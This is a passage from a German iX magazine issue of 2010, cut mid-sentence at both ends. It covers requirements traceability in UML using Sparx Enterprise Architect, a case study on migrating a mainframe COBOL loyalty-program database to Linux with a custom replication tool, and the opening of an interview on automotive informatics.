mischen. Durch diese Diagramme kann man in der Regel navigieren und so bequem per Doppelklick von einem Diagramm zum nächsten wechseln. Die Diagramme der unteren Ebene bilden die Beziehungen der einzelnen Elemente ab. Durch sie lässt sich nur in Ausnahmefällen navigieren, etwa wenn sie als Composite (aus mehreren UML-Elementen zusammengesetzte Komponenten) dargestellt sind. Die Struktur eines UML-Projekts in Sparx ist frei wählbar und wird auf die Bedürfnisse des jeweiligen Vorhabens zugeschnitten. Beispielsweise kann der Modellierer für ein Projekt mittlerer Größe auf der höchsten Ebene die drei Hauptbereiche Requirements, Business Architecture und Technical Architecture als Packages anlegen (Abbildungˇ1). Die Requirements umfassen das Requirements Model und das Use Case Model sowie ein Package namens Traceability. Das Requirements Model besteht aus Functional ix 11/

92 REPORT Requirements Management Der Traceability Overview verschafft dem UML-Modellierer einen guten Überblick über das Modell (Abb.ˇ2). Nachvollziehbarer Weg: von der Anforderung zur implementierten Klasse (Abb.ˇ3) Requirements und Non-Functional Requirements. Business Architecture enthält das Business Process Model und das Domain Model. Und die Technical Architecture bildet das Software Design sowie das Deployment Model ab. Das Software Design wiederum enthält die alten Bekannten User Interface Model, Component Model und Class Model. Welche Modelle zur Kommunika - tion und Dokumentation letztlich zum Einsatz kommen, ergibt sich aus den Schwerpunkten des Projekts. Ein allgemeingültiger Leitfaden existiert hierfür nicht. Wichtig ist vielmehr, dass sich die individuellen Aspekte des jeweiligen Projekts in den Modellen wiederfinden und dass alle Beteiligten ein gemeinsames Verständnis dieser Abbildung haben. Die Rückverfolgbarkeit der Abhängigkeiten einzelner Elemente ist zwar der größte Vorteil von UML, allerdings neigen die Modelle zur Unübersichtlichkeit. Ein Übersichtsdiagramm, der sogenannte Traceability Overview, bietet sich daher als Einstieg in ein be - stehendes Modell an (Abbildungˇ2). Dieses Metamodell zeigt die einzelnen Modelle und ihre Abhängigkeiten. Alle Beteiligten, vor allem neue Projektmitarbeiter, sollten darüber die Zu - sam menhänge schnell nachvollziehen können. Es ist wichtig zu verstehen, dass die einzelnen Elemente dieses Diagramms lediglich als Platzhalter fungieren und nicht aus einem der genannten Modelle stammen. Die Übersicht bildet die drei Hauptbereiche des Modells ab; in jedem finden sich die zugeordneten Teilmodelle wieder. Alles hinterlässt seine Spuren Neben dem beschriebenen Überblick bietet Sparx für das Nach- und Rückverfolgen ein Fenster namens Traceability an, das die hierarchische Struktur der Beziehungen des selektierten Elements anzeigt. Wird das Diagramm selbst ausgewählt, zeichnet das System alle darauf befindlichen Elemente nach. Wer zum Beispiel explizit das Requirements Model anklickt, erhält als Ausgabe dessen Trace. Rückverfolgung: von der Implementierung zurück zur konkreten Anforderung (Abb.ˇ4) In der Übersicht verwandeln sich die Abhängigkeiten des Requirements Model in eine hierarchische Darstellung (Abbildungˇ3). Use Case, Component und Business Process Model liegen nun im Traceability Explorer unterhalb des Knotens realized by. Soll heißen, die Anforderungen werden durch Geschäftsprozesse, Anwendungsfälle und Softwarekomponenten realisiert. Die Hierarchie der Beziehungen gibt Aufschluss über die Zusammenhänge und die Komplexität der Abhängigkeiten, die nicht direkt in Diagrammen abzulesen sind. So lässt sich der Übersicht zum Beispiel auch entnehmen, dass Geschäftsprozesse ebenfalls durch Anwendungsfälle und Softwarekomponenten realisiert werden. Anhand der Abbildungˇ3 lässt sich folgender Trace für das Requirements Model ablesen: Unterhalb des Use Case Model zeigt der Traceability Explorer die Knoten implements, realized by und depends on an. Der Vollständigkeit halber sei erwähnt, dass es noch eine weitere Beziehung mit der Bezeichnung needed by gibt. Über diese Knoten kann der Modellierer alle relevanten Relationen zu anderen Modellen und Elementen sehen. Ein nicht zu unterschätzender Aspekt ist die dokumentarische Aussage, dass Anwendungsfälle Geschäftsprozesse und Anforderungen implementieren, während sie selbst durch das User Interface Model abgebildet werden und vom Domain Modell abhängig sind. User Interfaces realisieren also Use Cases und basieren auf dem Component Model. Softwarekomponenten setzen eben falls Anforderungen und Geschäftsprozesse um. Das User Interface benötigt die Softwarekomponenten, während sie selbst auf dem Class und Domain Model des Software Designs basieren. Das Klassenmodell schließlich ist ein möglicher letzter Knoten in der Nachverfolgungskette. Er identifiziert die konkrete Umsetzung der Anforderung. Komplizierte Beziehungen Beim Rückverfolgen geht man den entgegengesetzten Weg, nämlich weg vom Element hin zur konkreten Anforderung (Abbildungˇ4). Es wird also die Frage beantwortet, auf welchen Anforderungen die Implementierung gründet. Die Suche kann beispielhaft mit dem Class Model auf unterster Ebene im Übersichtsdiagramm begin- 92 ix 11/2010

93 nen. Wie bei der Nachverfolgung benötigt das Komponentenmodell das Klassenmodell. Nun kann das Component Model die zugrunde liegende Anforderung umsetzen, die Suche wäre in diesem Fall beendet. Falls die Softwarekomponente stattdessen einen Geschäftsvorfall abbilden würde, so wäre er die konkrete Realisierung einer speziellen Anforderung. Ist keine dieser Beziehungen modelliert, bleibt der Weg über die User Interfaces. Diese bilden Anwendungsfälle ab, die wiederum Geschäftsprozesse oder Anforderungen verwirklichen können. Im ersten Fall verlinkt der Business Process auf die konkret umgesetzte Anforderung. Vom Abstrakten zum Konkreten In einem realen Projektmodell wählt der Anwender bei der Nach- sowie Rückverfolgung anstelle der Platzhalter konkrete Elemente aus den Modellen aus. Es ist zu berücksichtigen, dass die abstrakte Sicht immer alle möglichen Beziehungspfade aller Elemente des Modells enthält. Das Rückverfolgen eines Elementes sollte jedoch immer in mindestens einer konkreten Anforderung entlang eines Beziehungspfades münden. So braucht beispielsweise in einem echten Szenario die Komponente Account die Klasse User. Account implementiert zum einen die Anforderung Benutzerkonten werden zentral ver - waltet und wird zum anderen von der Bildschirmmaske Übersicht Benutzer - konten benötigt. Die Bildschirmmaske setzt den Anwendungsfall Benutzerkonten verwalten um, der schließlich die Anforderung Benutzer können hinzugefügt, geändert und gelöscht werden abbildet. Für die Modellierung der Abhängigkeiten bietet Sparx zwei Alternativen an. Die jedem UML-Kenner sofort einsichtige Vorgehensweise ist die Definition der Beziehungen innerhalb von Diagrammen (Abbildungˇ5). Nachteil: Alle Elemente mit Beziehungen untereinander muss der Modellierer in einem Diagramm anordnen. Dies kann zum einen in Unübersichtlichkeit ausarten, zum anderen entstehen so viele Diagramme, die nicht unbedingt fachliche oder technische Belange dokumentieren, sondern lediglich der Trace - ability dienen, und das ist meist nicht erwünscht. ix 11/

94 REPORT Requirements Management Die Darstellung von Beziehungen zwischen Anforderungen und Anwendungsfällen in UML- Diagrammen wird in der Praxis schnell unübersichtlich (Abb.ˇ5). Berichtswesen Die Relationship Matrix versucht, komplizierte Beziehungsgeflechte nachvollziehbar abzu - bilden (Abb.ˇ6). Sei es aus Gründen der Revision oder einfach zur Dokumentation eines Projekts: Für ein gutes Requirements Engineering sollte man die Anforderungen ausführlich und übersichtlich darlegen können. Sparx Enterprise Architect kann aus allen Elementen und ihren Beziehungen Berichte (Reports) generieren. Vielfältige Vorlagen dürften die meisten Bedürfnisse befriedigen, beispielsweise existiert ein Requirements Template. Um die Templates den Vorgaben des Corporate Design anpassen oder vollständig neue erstellen zu können, bietet Sparx einen RTF-Style-Template-Editor (siehe Abbildung). Abhilfe schafft die Relationship Matrix (Abbildungˇ6). Diese Ansicht ermöglicht es dem Benutzer, beliebige Elemente des Modells auszuwählen und ihre Beziehungen untereinander festzulegen, ohne dass er dafür Diagramme anlegen muss. Die Matrix listet die in den Ziel- und Quell-Packages enthaltenen Elemente auf. Zur weiteren Verfeinerung der Ansicht muss man den jeweiligen Elementtyp sowie den Beziehungstyp angeben. Über die Beziehungsrichtung (Direc tion) Both zeigt die Matrix auch Elemente an, die noch nicht vom gewählten Beziehungstyp abhängig sind. Dadurch ist es möglich, auch für nicht verknüpfte Elemente neue Verbindungen einzu - fügen. Gut dargestellt und ausgewertet Der eigentliche Nutzen der Abbildung eines Requirement-Modells in UML liegt in den umfangreichen Möglichkeiten, die Beziehungen zwischen den einzelnen Elementen zu visualisieren und auszuwerten. Die Verknüpfung von Anforderungen untereinander etabliert dabei eine Hierarchie von Abhängigkeiten. Für kleine und mittlere Projekte bietet dieses Vorgehen einen großen Vorteil: UML kennen die Softwareentwickler in der Regel, denn die Struktur- und Verhaltensdiagramme für das technische Design der Software haben sie ja meist damit erstellt. Auch vielen Analysten und Projektleitern ist die Modellierungssprache nicht fremd. Denn sie kommunizieren gerne über Use-Case-, Aktivitäten- und Geschäftsprozessdiagramme mit den Auftrag - gebern. Die zahlreichen Funktionen für Nach- und Rückverfolgung von Abhängigkeiten helfen dem Modellierer, die Effekte von Änderungen am System realistisch einzuschätzen. Böse Überraschungen sollten sich somit in Grenzen halten. Ohne eine ordentliche Portion Disziplin geht es selbstverständlich trotzdem nicht, da ein Modell nur dann gut ist, wenn es nahe bei der Realität liegt. (jd) MARC PIWECKI ist Softwareentwickler im Bereich Microsoft ASP.Net. x 94 ix 11/2010

95 REPORT Datenmigration In der Softwareentwicklung gilt die Migration von Datenbankinhalten oft als Pflichtübung, denn die dafür verwendete Software ist nach Inbetriebnahme des Zielsystems entbehrlich. Folglich liegt das Hauptaugenmerk nicht auf diesen Umzugshelfern. Für die Migration planen Softwarearchitekten gerne vorhandene Datenbanktools ein, um Aufgaben in den administrativen Bereich zu delegieren. Insbesondere aus Entwicklersicht wäre große Sorgfalt gefragt, denn bei kaum einem anderen IT-Vorgang sind so viele Systemkomponenten involviert und so große Datenmengen im Wandel wie während der Migration eines komplexen Systems mit verteilter Datenhaltung, Online- und Off line-schnittstellen et cetera. Aus technischer Sicht bringt die Migration nicht selten die anspruchsvollsten Herausforderungen innerhalb einer Neuentwicklung mit sich. Dementsprechend schwierig ist es, sie mit Tools von der Stange zu erledigen. Sie ist ein eigenständiges Projekt, das nur mit einer geeigneten, strukturiert durchgesetzten Strategie erfolgreich zu Ende zu führen ist. Die Migration von Altdaten ist für die erfolgreiche Einführung der meisten Systeme essenziell. Abschied von COBOL und Mainframe Im folgenden Artikel geht es um das Kundenbindungsprogramm eines europäischen Großkonzerns und die kontinuierliche Migration der zugrunde liegenden IT-Systeme. Im Kern existiert diese Anwendung bereits seit Mitte der 90er- Jahre. Mitglieder des Programms nutzen regelmäßig Produkte beziehungsweise Dienstleistungen desselben Anbieters. Er belohnt ihre Treue mit Bonuspunkten, die sie gegen Einkaufsgutscheine oder sonstige Vergünstigungen einlösen können. Mittlerweile ist diese Werbemaßnahme das Vermarktungsmerkmal des Konzerns und mit rund 20 Millionen Teilnehmern überaus erfolgreich. x-tract Geeignete Umstiegsstrategien in Großprojekten Umzugshelfer Jan Dünnweber, René Glettler, Milka Kossanova, Valentin Mihaylov Mehrere Terabyte Daten aus einem auf dem Mainframe laufenden COBOL-Programm auf eine SOA-Architektur unter Linux zu migrieren, stellt besondere Anforderungen an die Werkzeuge und Entwickler. Geschickte Kombination vorhandener Tools und effizienter Strategien vermeiden Stillstandszeiten und beschleunigen den Datentransfer. Für die Migration von Daten auf eine neue Systemumgebung stehen verschiedene Verfahren bereit. Einige führen zu Stillstandszeiten des Gesamtsystems, andere sind in der Umsetzung sehr aufwendig, weil Alt- und Neusystem parallel betrieben werden. Eine Alternative versucht, die Vorteile der bekannten Verfahren zu kombinieren und durch Individualsoftware den Migrationsprozess zu beschleunigen. In den letzten Jahren erweiterte das Unternehmen das Konzept, sodass auch Einkäufe bei Partnerunternehmen, Zeitschriften-Abonnements oder der Einsatz bestimmter Kreditkarten den Punktestand mehren. So wurde das Kundenbindungsprogramm komplex: Die zugrunde liegenden Systeme hängen mittlerweile von etlichen Partnersystemen, mehreren Terabyte Daten und der dauerhaften Verfügbarkeit zahlreicher Hard- und Softwarekomponenten ab. Trotzdem dient zur zentralen Datenhaltung nach wie vor ein monolithisches COBOL- Programm auf einem IBM-Main - frame. Die permanente Datensicherung übernehmen langsame und unzeitgemäße Bandmaschinen. Proprietäre Proto kolle und Codierungen wie SNA und EBCDIC tragen ihren Teil zu den horrenden Wartungskosten des Systems bei. So verwundert es kaum, dass das Unternehmen für den Umstieg auf moderne Techniken wie SOA, Linux ix 11/

96 REPORT Datenmigration und Java mit ihren Versprechen von Transparenz, Skalierbarkeit und Interoperabilität zu größeren Aufwendungen bereit ist. Die Schwierigkeiten bei der Migra - tion des Kundenbindungsprogramms unterscheiden sich nicht von denen bei der Modernisierung oder Fusion von Banken, Versicherungen oder staatlichen Einrichtungen nach jahrzehntelangem Betrieb. Es stellen sich zwei Fragen: ˇWie kann man unterschiedliche Codierungen und Formate in sich laufend ändernden Alt- und Neusystemen konvertieren? ˇWie lassen sich geschäftskritische Prozesse während der Migration überbrücken oder zumindest die Ausfallzeiten minimieren? Zunächst fand unabhängig von der Fallstudie eine Bestandsaufnahme gängiger Migrationsstrategien statt. Daraus entstand ein neuer Ansatz zur Daten - migration für Großprojekte. Als solches gilt im Folgenden ein Migrationsvorhaben mit einem Datenvolumen von mehreren Terabyte und unterschiedlichen Datenbanken in Alt- und Neusystem. Datenintegrationssoftware kommerzieller Anbieter ist vor allem auf dauerhafte Integration ausgelegt. Eine einmalige Systemablöse rechtfertigt die Lizenzgebühren für sie kaum. Somit bleibt meist nur das Entwickeln von Individualsoftware, was Anbieter vor Her ausforderungen stellt. Schwierig ist unter anderem, die zwar seit vielen Jahren gründlich theoretisch untersuchten, aber meist statischen Modelle zur Daten migration (auf der Basis von Graphen oder Netzen) auf dynamische Geschäftssysteme abzubilden. Die Programme müssen effizient und zuverlässig sein, dürfen aber nicht den zur Verfügung stehenden Budgetrahmen sprengen. Übliche Strategien für Migrationen sind das klassische Big-Bang-Vor - gehen [1], die On-the-Fly-Migration (auch Butterfly-Migration genannt [2]) sowie die nahtlose Migration mit Parallelbetrieb von Alt- und Neusystem. Alle drei haben Extraktions-, Transforma - tions- und Lade-Phasen, die den sogenannten ETL-Prozess bilden. In den Abbildungen stellen vertikale Trennlinien Netzgrenzen zwischen unterschiedlichen Systemstandorten dar: dem Altsystem, der Staging Area (Server ausschließlich zu Migrationszwecken), und dem Zielsystem. Horizontale Linien trennen verschiedene Abstraktionsniveaus: Auf der Geschäfts - ebene laufen Prozesse wie Einkäufe und Stornierungen, denen auf darunter liegenden Ebenen Transaktionen beziehungsweise einzelne Datenbankanweisungen entsprechen. Migration auf einen Rutsch In einer Big-Bang-Migration transferiert man alle Daten in einem Rutsch auf das neue System. In dieser Zeit laufen keine Geschäftsprozesse (Abb.ˇ1). Abbildungˇ1 zeigt das dreischrittige Big-Bang-Vorgehen. Zuerst trennt man die Quelldatenbank vom Altsystem. Eine Überbrückung von Geschäftsprozessen findet nicht statt. Folglich müssen nur statische Transformationen implementiert werden. Im zweiten Schritt liest man die Quelldatenbank aus und konvertiert ihre Inhalte, soweit nötig (zum Beispiel von EBCDIC nach Latin-1). Durch stufenweise Verkettung der Operatoren zum Verarbeiten, Formatieren und Anordnen der Inhalte lässt sich eine parallele Verarbeitung erreichen: Während ein Teil der Daten bereits eine weitere Stufe durchläuft, findet die Vorverarbeitung der folgenden statt. Dem Speichern der konvertierten Daten folgen häufig weitere Verarbeitungsschritte, bis die gewünschte Repräsentation vorliegt. Schrittˇ3 lädt die transformierten Daten in die Zieldatenbank. Dafür bieten sich je nach Datenbanksystem unterschiedliche Mechanismen an, etwa Oracles SQL-Loader oder Batch Inserts. Anschließend nimmt man das Zielsystem in Betrieb. Bei der Big-Bang-Strategie sind Entwicklung und Installation neuer Software nur auf der Staging Area nötig; die Korrektheit aller Daten kann man vollständig vor und nach der Migration prüfen. Die Methode ist wegen des im Fehlerfall möglichen verlustfreien Ausweichens zurück auf das Altsystem sicher. Ihr offensichtlicher Nachteil liegt in der unvermeidbaren Stillstandszeit, während der weder Alt- noch Zielsystem verfügbar sind. Umstieg mit schrumpfenden Delta-Daten Abbildungˇ2 illustriert die On-the-Fly- Migration. Dabei kommt eine Datenzugriffsschicht zum Einsatz, die je eine Komponente auf dem Alt- und dem Zielsystem enthält. Die einzelnen Schritte des ETL-Prozesses durchlaufen jeweils mehrere Phasen. In Schrittˇ1 klinkt man die Datenzugriffsschicht ins Altsystem ein: Fortan erfolgen alle Zugriffe auf die Quelldatenbank durch sie. Schreibzugriffe erfasst dabei der sogenannte Capture- Prozess, der zu jedem Quelldatensatz Delta-Daten speichert. Sie enthalten außer den geschriebenen Werten die Art der Schreibanweisung (UPDATE, INSERT oder DELETE) sowie Zeitstempel. Jede Transaktion lässt sich anhand dieser Delta-Daten wiederholen. Bei einem Lesezugriff liefert die Zugriffsschicht die aktuelle Version des benötigten Datensatzes, entweder aus den Delta-Daten oder aus Quell-DB, je nach Zeitpunkt des letzten Schreibzugriffs auf ihn. Läuft die Datenzugriffsschicht, extrahiert man die Original - inhalte der Quell-Datenbank, gefolgt von den Delta-Daten. Der zweite Schritt unterwirft zunächst den initialen Dump denselben Trans formationsschritten (Auslesen, Ver arbeiten, Formatieren, Anordnen und Speichern) wie ein Big Bang. Es folgen Transformationen der zwischenzeitlich angefallenen Delta-Daten. Geht man davon aus, dass die Menge der Delta-Daten sich bei jedem Durch- 96 ix 11/2010

97 gang verringert, endet die Migration nach einer Transformationsphase, während der keine neuen Delta-Daten anfielen. Anschaulich entspricht dieses Vorgehen etwa der Nutzung einer Geschirrspülmaschine: Während sie den Großteil des Geschirrs säubert, benutzt man bereits weitere Teller. Diese kann man jedoch schnell von Hand reinigen. Irgendwann bleibt vielleicht noch eine einzelne Gabel übrig, die sich säubern lässt, ohne dass jemand währenddessen neue Besteckteile braucht. Am Anfang des dritten Schritts steht das Laden der transformierten Inhalte aus dem initialen Dump in das Zielsystem. Dorthin werden anschließend die transformierten Delta-Daten übertragen, was die größte Herausforderung bei diesem Vorgehen bildet. Denn die On-the-Fly-Migration funktioniert nur, wenn sich anhand der Delta-Daten die zugehörigen Geschäftsprozesse identifizieren lassen. Beispielsweise muss GeschäftsvorfallˇX mit den Anweisungen x1 xn, etwa einem UPDATE und einem DELETE in den Delta-Daten, auf den zugehörigen Geschäftsvorfall X im Zielsystem abgebildet werden, der auf der dortigen Datenbank die Anweisungen x1 xn enthält. Sie können sich von den Quellsystem-Anweisungen hinsichtlich Typ, Anzahl und betroffenen Tabellen unterscheiden. Für den Benutzer sind die Vorgänge innerhalb der Datenzugriffsschicht transparent. Weil das Quellsystem erst bei Inbetriebnahme des Zielsystems heruntergefahren wird, tritt keine Stillstandszeit auf. Gegenüber dem Big Bang gibt es Bei der On-the-Fly-Migration laufen alle Datenzugriffe durch eine spezielle Software, die auf Alt- und Zielsystem installiert ist (Abb.ˇ2). jedoch auch Nachteile, da die Abbildung von Delta-Daten auf Geschäftsprozesse nicht immer eindeutig ist. Wenn einer Folge von Anweisungen beispielsweise die GeschäftsvorfälleˇX oder Y im Altsystem entsprechen können soll die Datenzugriffsschicht des Zielsystems dann die zu X oder die zu Y gehörigen durchführen? Zudem müssen die letzten beiden Schritte schneller ablaufen als der erste. AndeiX 11/

98 REPORT Datenmigration renfalls wird der ETL-Prozess nicht terminieren. Für das Spülmaschinenbeispiel hieße das, dass sich beim Laufen der Maschine mehr neue schmutzige Teller auftürmen, als von Hand zu reinigen sind. Alt und Neu im Parallelbetrieb Bei der Migration im Parallelbetrieb, wie sie Abbildungˇ3 zeigt, bleibt das Altsystem nach der Inbetriebnahme des Zielsystems verfügbar. Zwischen Geschäftsprozessen und Datenbanken gibt es bei dieser Variante keine direkte Verbindung. Stattdessen erfolgt jeder Datenzugriff in Schrittˇ1 und 3 durch einen zentralen Koordinator. Er versorgt das Zielsystem mit Daten des Altsystems und überträgt umgekehrt Änderungen im Ziel- auf das Altsystem. Die nötigen Konvertierungen erledigen geeignete Gateways. Eine Zugriffs- DB speichert Format und Ablageort migrierter und noch zu migrierender Datensätze. Vor jeder Transformation (Schrittˇ2) werden die Originaldaten in einer Fallback-DB gesichert, sodass sich die Migration bei einem Fehlstart des Zielsystems wieder rückgängig machen lässt. Der Parallelbetrieb erfordert keine Stillstandszeit, jedoch beträchtlichen Aufwand bei der Umsetzung. Darüber hinaus läuft jeder Datenzugriff über das Netz, was den Durchsatz reduziert. Ziel bei der Migration des eingangs beschriebenen Bonuspunkte -Programms war es, geringe Kosten für Individualsoftware und möglichst viele Vorteile der gängigen Strategien zu vereinen. Das Ergebnis ist die von den Autoren entwickelte Software Quick- Apply (s.ˇabb.ˇ4). Ihr Einsatz bietet sich prinzipiell bei jedem groß angelegten Migrationsprojekt an, insbesondere bei sich häufig ändernden Systemdaten [3]. QuickApply ist im Vergleich zum Parallelbetrieb deutlich effizienter. Anders als bei der On-the-Fly-Migration nutzt es Delta-Daten lediglich zur Replikation der Quelldatenbank in die Staging Area. Dadurch entfallen die Abbildung von Delta-Daten auf Geschäftsprozesse und die damit verbundenen Risiken. Das Beste aus allen Welten Beim Parallelbetrieb laufen Alt- und Neusystem gleichzeitig und synchronisieren ihre Datenbestände laufend (Abb.ˇ3). Schrittˇ1 erinnert an das On-the-Fly- Verfahren: Jeder Schreibzugriff durchläuft den Capture-Prozess, der geänderte Daten als Delta-Daten erfasst. Entscheidend ist hier, dass keine Komponente des Zielsystems vom Capture-Prozess abhängt. Deshalb kann man ein Standard-Replikationstool wie IBMs Data- Propagator für Mainframe-Datenbanken benutzen [4]. Lediglich im zweiten Schritt kommt QuickApply als Individualsoftware zum Einsatz, die Änderungen datensatzweise repliziert. Sobald die extrahierten Daten synchron mit der Quelldatenbank sind, beginnt die Transformation. Somit findet die Extraktion frühzeitig statt, das heißt vor der nur noch minimalen Stillstandszeit, während der nur Transformationen ausgeführt werden. Schrittˇ3 besteht wiederum im Laden der transformierten Daten. Sie sind, anders als die bei einem Big Bang innerhalb der Stillstandszeit extrahierten, aktuell und müssen nicht wie bei der On-the-Fly-Migration auf Geschäftsprozesse abgebildet oder wie beim Parallelbetrieb mit einem Gateway konvertiert werden. QuickApply generiert Programm - code aus dem Datenbankschema. Dazu verwendet es die von IBMs DataPro - pagator gelieferten Tabellendaten im CDC-Format (Change Data Capture) sowie Strukturinformationen in Form von CNTL-Dateien. Da diese Daten vom Mainframe stammen, liegen sie in der dort üblichen EBCDIC-Codierung vor. Ein Java-Programm erzeugt aus den CNTL- sowohl CTL-Dateien für Oracles SQL-Loader als auch einen C- Header mit den Strukturdefinitionen der Tabellen. Zur Konvertierung der EBCDIC- in Latin-1-Daten dienen dabei die Klassen des Package java.nio. Anschließend füttert das Java-Programm Oracles SQL-Loader mit den CDC- und CTL-Dateien. Aus der Oracle-DB exportiert es die Daten danach in Form von CSV (Comma Separated Values). Daraus generiert schließlich ein mit dem anfangs erzeugten Header parametriertes C-Programm die nötigen SQL-Statements für das Übertragen der Daten ins Zielsystem. Werkzeug konvertiert sicher Der Weg über den SQL-Loader und die Oracle-Datenbank ist nötig, um die Konvertierung der in den Deltas steckenden Geschäftsdaten durch Individualsoftware zu vermeiden. Ließen sich dabei etwa einzelne EBCDIC-Symbole nicht in der gewählten Codepage finden, wäre kein eindeutiges Mapping möglich und ein Workaround nötig. Statt so Datenverluste zu riskieren, bekommt der SQL-Loader die CDC-Originallieferungen unverändert übergeben, denn er protokolliert den Verbleib jedes Eingabedatums. Für den zur Laufzeit generierten Code stellte sich C aus mehreren Gründen als besonders geeignet heraus: Ein C-Programm lässt sich direkt auf der Zielplattform ausführen, das heißt dynamisches Laden von Klassen oder gar die Inbetriebnahme einer weiteren virtuellen Maschine erübrigen sich. Da der Code auf dem Zielrechner übersetzt wurde, ist er bei besserer Performance ebenso portabel wie Java. Eine weitere Beschleunigung gelang durch den Einsatz von JNI: Das Java-Programm ruft den kompilierten C-Code aus einer Shared Library auf, statt dazu einen weiteren Systemprozess zu starten. Das vereinfacht außerdem den Datentransfer zwischen Java und C- Programm. 98 ix 11/2010

99 ix 11/

100 REPORT Datenmigration Das Java-Programm stellt zwei Benutzerschnittstellen bereit: eine Swing- GUI zum Auswählen nicht zu migrierender Tabellen und eine Kommandozeile, die das Automatisieren der Migration erleichtert. Zu filternde Tabellen trägt man bei Letzterer in eine Konfigurationsdatei ein. Für den Anwender sieht die Quick- Apply-Software folglich wie ein einziges Java-Programm aus, unabhängig von der Wahl der Benutzerschnittstelle. Delta-Daten liefert der DataPropagator tabellenweise an. Um die daraus generierten SQL-Statements in der gleichen Reihenfolge wie auf der Quell-DB auszuführen, sortiert die Software sie zunächst parallel durch jeweils einen Thread pro Tabelle. Damit Transaktionen tabellenübergreifend in der richtigen Reihenfolge stattfinden, vereint sie anschließend eine selbst geschriebene Merge-Funktion aus dem Merge-Sort- Algorithmus. Sie führt in jeweils einem Thread zwei sortierte Tabellen zusammen, sodass sich ihre Anzahl in jedem Folgeschritt halbiert. Das Ergebnis ist eine Liste sortierter Transaktionen, die das Programm nacheinander ausführt. Praktische Erfahrungen bei der Migration QuickApply ist derzeit in der fortlaufenden Migration des erwähnten Kundenbindungsprogramms mit einem Datenbestand von rund drei TByte im Einsatz. Die lokale Datenintegration übernimmt Oracles GoldenGate, das alle Quelldatenbanken nach außen wie eine einzige erscheinen lässt. Die Staging Area besteht aus zwei Servern mit jeweils 8-Core-CPUs. Die Arbeit erledigen Java-Hotspot-VMs unter Linux. QuickApply verarbeitet knapp 1ˇMil - Die Individualsoftware repliziert Deltas datensatzweise und transformiert sie während der kurzen Stillstandszeit (Abb.ˇ4). lion SQL-Statements in etwa 170 Sekunden, 3,5 Millionen in 650 und 6ˇMillionen in 850 Sekunden. Diese Werte entsprechen dem Tag mit der geringsten, durchschnittlicher und der größten Menge an Transaktionen. Wie das Zielsystem liegt die Migra - tionsdatenbank des Projekts 400 Kilometer entfernt von der Quelle. Quick- Apply führt asynchrone Buchungen durch. Die periodischen Aktualisierungen, das heißt die Menge der Delta- Daten, umfassen täglich zwischen 200 MByte und 6ˇGByte. Um die Replikation abzuschließen, muss der generierte SQL-Code ausgeführt werden, was im Durchschnitt circa 30 Sekunden pro Tabelle dauert. Im schlimmsten Fall vergingen dabei, nach einem Tag Rückstand, insgesamt weniger als zwei Stunden. Das ist insbesondere im Vergleich zu den drei bis vier Tagen Transferzeit beim Big-Bang-Vor gehen beachtlich. Der präsentierte Ansatz ist effizienter als die klassische Big-Bang- und zuverlässiger als die On-the-Fly-Migration sowie der Parallelbetrieb. Bei einigen anderen Big-Bang-Varianten bleibt die Quelldatenbank im Nur-Lese-Betrieb ununterbrochen verfügbar, andere migrieren Audit-Daten außerhalb der Stillstandszeit. Solche Optimierungen lassen sich problemlos mit der präsentierten Strategie vereinen, was die Autoren im beschriebenen Projekt taten. Dazu nutzten sie den DataPropagator, der nicht nur die Eingangsdaten für QuickApply liefert, sondern auch die Quelldatenbank laufend aktuell hält und eine Auswahl der zu migrierenden Daten durch Filtern erlaubt. Migrationsprojekte, die nur einen Teil der Anwendungsdaten zum Beispiel in eine Cloud [5] auslagern wollen, während andere aus Sicherheitsoder Rechtsgründen in den Altsystemen bleiben, lassen sich mit geeigneten Tabellenfiltern nach der gleichen Strategie durchführen, vielleicht sogar mit derselben Software. (ck) DR. JAN DÜNNWEBER arbeitet als Senior IT-Consultant beim Münchner IT-Dienstleister MaibornWolff et al. Im beschriebenen Projekt war er für die Architektur und die Konzeption verantwortlich. RENÉ GLETTLER leitet bei MaibornWolff et al den Bereich Systemintegration und verfügt über langjährige Erfahrungen in der Migration von Großprojekten. MILKA KOSSANOVA arbeitet als Senior IT-Consultant bei MaibornWolff et al. Sie ist Spezialistin für das Qualitätsmanagement. VALENTIN MIHAYLOV ist IT-Consultant bei MaibornWolff et al und verantwortete im Projekt die Implementierung der Echtzeit-Replikations - mechanismen sowie die Datenbank - optimierungen. Literatur [1]ˇM. L. Brodie, M. Stonebraker; Migrating Legacy Systems; Morgan Kaufmann, San Francisco 1995; ISBN [2]ˇB. Wu, D. Lawless, J. Bisbal, R. Richardson, J. Grimson, V. Wade, M. O Sullivan, M. Heller; The Butterfly Methodology; A Gateway- Free Approach for Migrating Legacy Information Systems; IEEE Conference on Engineering of Complex Computer Systems, Villa Olmo, Como, Italy, Sept [3]ˇJ. Dünnweber, V. Mihaylov, R. Glettler, V. Maiborn, H. Wolff; Use Of HPC-Techniques For Large-Scale Data Migration; High-Performance Computing Applied To Finance, HPCF 2010, Italy, Aug (noch nicht erschienen) [4]ˇJ. Jäntti, D. Kerry, A. Kompalka, R. Long, G. Mitchell; DataPropagator Implementation Guide; IBM Redbooks, Armonk 2002; ISBN [5]ˇiX Special 2/2010; Cloud, Grid, Virtualisierung x 100 ix 11/2010

101 REPORT Bei der Erstellung von Hard- und Software für Fahrzeuge geht es um Kooperation: Zum einen müssen mehrere Disziplinen wie Elektrotechniker, Maschinenbauer und Informatiker zusammenwirken, zum anderen entstehen die Komponenten in einem Netz aus Zulieferern und Automobilherstellern. Softwareentwickler müssen interdisziplinär denken und fundierte Entwicklungsmethoden nutzen. Automotive-Besonderheiten wie das Variantenmanagement und hohe Stückzahlen stellen besondere Anforderungen. Von einer Fertigungsstraße pro duziert ein Hersteller vielleicht 1000 Stück im Jahr, Automobile aber über 3000-mal am Tag. Softwareabteilungen stehen vor einer doppelten Aufgabe: Sie müssen immer mehr Funktionen mit teilweise hohen Sicherheitsfunktionen realisieren, da ein Auto ohne Software mittlerweile undenkbar ist. Gleichzeitig unterliegen sie einem hohen Kostendruck. Standards wie AUTOSAR oder die geplante eigene Automotive-Norm ISO versuchen, den komplexen Erstellungsprozess zu vereinheitlichen und Regeln für die funktionale Sicherheit festzulegen. Mit dem Bachelor-Studiengang Automobilinformatik ( informatik.de) an ihrer Fakultät Informatik bildet die Hochschule Landshut Spezialisten auf dem Gebiet aus. ix-autorin Barbara Lange befragte Studiengangsleiter Professor Dr. Dieter Nazareth über die Anforderungen, vor denen Softwareentwickler in seiner Disziplin stehen. ix:ˇwas leistet der Studiengang mehr als normale Informatik? Automotive Professor Dr. Dieter Nazareth zur Automobilinformatik Interdisziplinär Barbara Lange 